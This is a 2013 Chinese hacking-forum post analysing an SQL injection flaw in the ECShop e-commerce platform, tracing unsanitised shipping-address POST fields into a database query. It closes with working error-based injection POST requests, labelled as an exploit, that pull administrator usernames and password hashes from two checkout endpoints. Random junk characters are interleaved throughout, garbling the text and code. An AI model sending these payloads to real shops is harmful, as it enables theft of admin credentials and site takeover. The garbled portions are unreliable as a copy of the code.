找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1967|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。! a0 ^$ o: D. h" S: {3 i
, t. }- U; W* U- k
    漏洞关键文件:
; H# b# h8 I2 j" Q- w# D% l: R' a/ W& X
    /includes/lib_order.php
0 g; b, _3 P, _/ e) c! B
0 p. U& d) @& U. |* N8 g4 p    关键函数:/ Z; \$ z  ]- V. p6 w0 Z

. @4 h1 E4 l3 W% i2 w% P. _ ; b' P# s' d, x" H% i
6 K. W. m( T3 D4 v# Z4 z
01     function available_shipping_list($region_id_list)
+ v8 q7 Q. A) S5 ^3 ~! c& T$ F! _: k3 ?
02 { ) o' z) W* E  M9 ?
  Y" V- [' A, Y; K, Z% b
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
% g# m7 q. w# w2 F
& d3 D" b# p) q% o5 T* ]04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
+ T% Y. l' R  a0 y% b0 r, ?" N: }% [$ n+ I* m( D7 `4 L
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
" p. d6 N, g1 K
8 `' j; C" M  `06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
7 D$ a' |, q$ v5 K; |# e4 }: G- ^$ q( i+ P. ]
07                 $GLOBALS['ecs']->table('area_region') . ' AS r '. ; u" N4 c, A' }" E; f

% _3 [3 e! z% T0 @: I+ k08             'WHERE r.region_id ' . db_create_in($region_id_list) . $ Y1 ?# ]# |0 b3 \! P

: L. r! X0 F) Y3 a9 @2 \, }09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
5 G( w, X- i" E, x' n2 F
4 g( `9 d1 R+ c4 v3 ~& ~2 @10   
- @# Y0 J- B5 d0 Z
0 O6 y, ~5 Y7 \* ?' {  u11     return $GLOBALS['db']->getAll($sql);
) x7 e- u" }. V7 o" p* r: ^: j+ M2 ]) r, B
12 }
8 l, y9 ]. ~- }4 I" r: S" K$ {6 J, ~: ^; \! [' w; P
显然对传入的参数没有任何过滤就带入了查询语句。
: [9 M& b; I' b. J
% k7 h& M/ B# K9 ~2 v2 c1 }下面我们追踪这个函数在flow.php中:
! U0 u2 v( r8 B 第531行:   8 L+ l' U2 T' v
8 Z8 V- q% B/ P5 x1 A) n
1 $shipping_list     = available_shipping_list($region);
5 T# ~! A( I& k) [% H1 v
, {1 C5 i% O: Z% m0 z
& W* L. v6 }  q5 T, p3 b1 {% j# ^# N: a, _1 d6 p, A
, _5 g+ N4 [% l

! p" J# R. J, `1 G# R再对传入变量进行追踪:
& y7 k$ W) @3 I% @7 v: S& e( I
$ O8 ?) P, y. Q/ `  l9 i- A第530行:    6 z& ~( r- N0 A# R. Z% H; {# o
& G0 D9 u5 u) S$ ^
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
% H' G2 e# p7 K' i2 ~+ w$ d! W  s5 P* P+ p2 O. }: c$ e8 N* k

7 @2 G# p' S4 f1 I( P# X* r
* x3 Q' ]- X3 \" c. X" T$ a. N: d
& m0 G; g( q9 _9 @5 c. v& F5 i# j+ o6 Q- _
第473行:        6 i3 f- W8 h& l' E6 {

0 c( I. |5 `, x( p" Q/ k* Y4 _1 $consignee = get_consignee($_SESSION['user_id']);
) d+ y. t/ `, t. W& z$ X8 J; O6 t2 r2 L/ x- i( C+ [0 d
到了一个关键函数:/ N" w$ h# \; L$ k1 p# ^
4 L) S- S0 a2 c
/includes/lib_order.php& }( B6 m2 G4 `3 k

5 c- _4 y/ _8 U1 x. L
: K  s$ |$ n* s7 X# L% H! v
6 O6 d, G5 C3 n' V4 w+ ]2 [) [* o
3 ?% B0 T* q+ M8 Q
4 t" S) x! y' ]; x: M, ]* [01 function get_consignee($user_id)
, B  M; F  h- J3 C) H( D3 o5 @1 h; e! Z5 [
02 { , U0 G3 o3 e* B6 y6 R9 v- L2 J) u

+ z5 n0 _& ^2 x( Z3 u03     if (isset($_SESSION['flow_consignee'])) " q! o/ z1 {( U
4 R' |3 C; r, h+ d) |+ [' g1 H4 A
04     { & @* K5 j: Y8 D$ l

  g  R9 _# G; G  t05         /* 如果存在session,则直接返回session中的收货人信息 */
( |& J; K# X" _* C- i  ^, C: d, e
06   
8 J0 r( }: k7 F* p0 D" [# I8 C, u( G3 l$ I# g
07         return $_SESSION['flow_consignee'];
$ W. l, C# F0 J  f) N( J$ D% z
* Y. W5 D8 _+ v3 ^' n5 W* V; }" O" ~08     } / b! y# f7 ^& O" q8 A
: |. f( U9 C) E) K3 j
09     else   \* x, W1 {4 M' f7 M

3 q" ]: T# w7 e10     { . t7 t8 k4 s% r. f
* g7 b7 v, B0 X: ^
11         /* 如果不存在,则取得用户的默认收货人信息 */
" I/ u0 r  S9 I! o* w# q; F7 \0 F
12         $arr = array(); 1 [# O' \7 U* P0 v( f
% O  b) w8 X* w: I' G" |% O
13   
! J4 \) u' _3 I" Y/ j! U( q. P0 U6 t1 G8 s' n- c" V$ k$ |
14         if ($user_id > 0)
0 s$ i% Q# y2 A" `1 A* c! D7 z% k5 G, e% |) ~' S3 l
15         {
. G: L( Q! _9 l/ }9 |. e' I! e' |0 {" X. z' a
16             /* 取默认地址 */
& Q8 }0 n! D- f" Z. y+ g: V2 X, |) U- k, W6 b1 c
17             $sql = "SELECT ua.*". % w. v1 t+ l+ ]; V# ]4 o# Z0 Y
) U- R7 `) m8 \3 @# n( H7 M: _
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. - s- N: Z& _" @$ b

9 W: A& b9 k3 z  ^$ Z19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; 0 ^5 u8 u! h" E! K

" u" ^# S: V4 l% S20   * V; P; {! ~2 T* }' p* ~

7 \5 s0 V5 L5 [3 W21             $arr = $GLOBALS['db']->getRow($sql);
$ N5 d; t  f! f1 R. H
/ _# [0 ?. ^0 Y3 m) W22         } / F6 U8 i( R1 a) o

4 c3 ^" k+ K6 p8 f, ?, w23   
3 S: U# V0 Z5 A6 K, U
' S+ t; C! f  p: @$ j24         return $arr;
$ }% G9 d# C9 ]. w. D+ K/ r: ?6 e- ^2 W/ G& r! H
25     } + B/ W% T/ K. R; g; Q& s

. A# {( Y& o7 i, V! A: C26 }
# k1 s4 Y3 y8 A6 `' E5 F7 X6 d* ]
2 u8 N4 |8 j* v  k3 B% c显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
0 o9 O/ b1 _2 d3 N4 H
7 `: g  d) q3 m5 U
+ @4 [) g) W3 E. Y0 L) K# J: V  i; E/ H7 ?! s
关键点:
: [6 t8 q! b4 z9 k3 w
  Z5 G0 _6 `# r, h5 }) h6 E4 c第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
  r6 Z  D6 W4 e: t3 G9 X' [8 A4 E3 s5 Y& B0 Y  P
这里对传入参数反转义存入$_SESSION中。7 Q# _3 m8 @$ y% `* x
- N3 h9 Z7 D8 Q3 C! j) k: ]
7 U" L2 n' V2 l8 M) t& q
) x# U4 G0 i5 v4 T
然后看下:
! @, Z4 Q: S) N: o; K
7 U# J$ B4 E/ h) X. S8 ~ . b; i! n4 i+ S6 R( g3 s1 }" Q
6 c3 j* a$ q# v
   
2 y. f/ [7 B  h: G* g
( g) V) }5 W( Q4 g' n01 $consignee = array(
/ h/ A" y' O3 r: i0 {+ j1 h9 o+ v/ T
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
2 D; W% y' M0 ^+ e  w- A) o, ?* h2 l
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),   t, {; X0 F" H1 a: R7 R

- d. g3 Z! w4 B! W% M04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
: ]* i% [, R, S! |! i$ l0 A' f1 y% R' H; S) [: y
05         'province'      => empty($_POST['province'])   ? '' _POST['province'], ' }5 E% _% G. J5 G) z: Y
5 N- i6 G. S, _' J& K7 t
06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
7 S# U% Q" _6 d7 l" J! x
' L7 J) i6 b9 l9 ]07         'district'      => empty($_POST['district'])   ? '' _POST['district'], 4 e2 S* ?/ o6 ]! w. C+ {  {
) ^' ^2 j4 Q1 E- ^7 x1 [
08         'email'         => empty($_POST['email'])      ? '' _POST['email'], , T( r. }8 T. i. T3 f- c

4 \  S" p# c7 b2 J7 e( Y9 U09         'address'       => empty($_POST['address'])    ? '' _POST['address'], % a3 C. t; y1 ~& R. Y7 M4 t0 j- j! m

, l9 X: a3 l# m4 ]2 X! E" A6 ]10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])), * e9 J( p) g3 j, I* S9 W

* i2 c' Y1 v! |11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
9 p5 B# Y$ S  J/ J
- @. g: S! z) n5 i12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])), 3 ~! w) @8 b% s+ e( j8 B
* G/ E. F" f6 u) S
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],   r# _# k7 `( A: A% u/ f

( \; o" |' z1 K4 c14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
" F4 \8 `% V+ ^0 b3 y# Q( n+ V$ E9 Q' x
15     ); ; M& k) ]- R% s/ N- b% D: K; X
3 V9 r. E; C9 m5 ~
好了注入就这样出现了。0 c% [$ s1 Q6 q) M0 d: D
- H; N, `% T1 E4 q
==================
1 W8 ?$ f4 {( ^' b  M% U  k0 k' m8 s2 o( O( [/ q; e. ^# T- j; J, R
注入测试:- l6 j8 o7 v5 G. e) P) Z- T3 a: x/ v

; @# D9 v3 L! N! Q9 _! K环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
0 E6 ]7 u  x: z
. D* I$ _4 S7 S  j测试程序:ECShop_V2.7.3_UTF8_release1106
) H( k' R  s% @5 ~2 P- m0 |, `6 B2 }" n5 J# d  B. R
/ l, `5 g  h5 C! Z7 K. O& M

% P& |8 j; G& Y' R3 x, y# o8 U1 j1.首先需要点击一个商品加入购物车  e* S  f; p9 [) F1 t+ e

( J( P+ O! C1 a" g2.注册一个会员帐号3 \/ c; e6 T0 T6 n2 U) J4 G

$ }2 i- E% `+ p# L+ N3.post提交数据
) B8 H% ~8 |! w2 X. j1 ^
$ G+ x$ j7 q% j" `: w7 n; {
5 k5 B8 T1 o- Q, g
3 p3 X" j( Y2 E2 C" k1 ~1 http://127.0.0.1/ecshop/flow.php
% D- o9 E" W* n  q4 w* l
! S2 M, u/ q! a6 K; D: L1 o2   
, Q: z1 H9 x% P6 y9 x' A+ I% j) Q' W, A5 c; I8 i, ~
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= * w0 r4 E. L5 h4 x: n1 k
举一反三,我们根据这个漏洞我们可以继续深入挖掘:
: i8 k# o$ H% \; x
1 s7 o3 ^' B4 K8 L) W6 k$ J我们搜寻关键函数function available_shipping_list(); C$ Q  C6 c/ `; v6 e1 \

- y' b- {5 D. Q- \! ]8 d1 u  x; b4 ^在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
3 h( T& K7 |, i( C, b
1 j9 Y; }8 E0 f' b& c4 J5 G利用exp:- x  n0 W4 n# [* e$ s
9 V- u& V  S$ Q' E2 S
1.点击一个商品,点击购买商标
9 J9 m" l; d$ i; c( `& D, m* W  l( A9 `/ f3 j- R8 [
2.登录会员帐号
2 Q, k$ R+ a0 d2 ]8 t
. {$ a$ N/ O& A5 x) ^3.post提交:
1 w2 M. K; T* x
! o& x8 Z1 z) A! fhttp://127.0.0.1/ecshop/mobile/order.php! p( L1 Y5 f  q2 y
$ e% d6 E7 @* d5 J5 m
# w" `/ B& w5 G" ?' r

' r; k& u& R  L0 z4 jcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
4 \. t5 U6 h( q- C+ u
: V, c* c% d# Z6 `/ U+ J, b
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表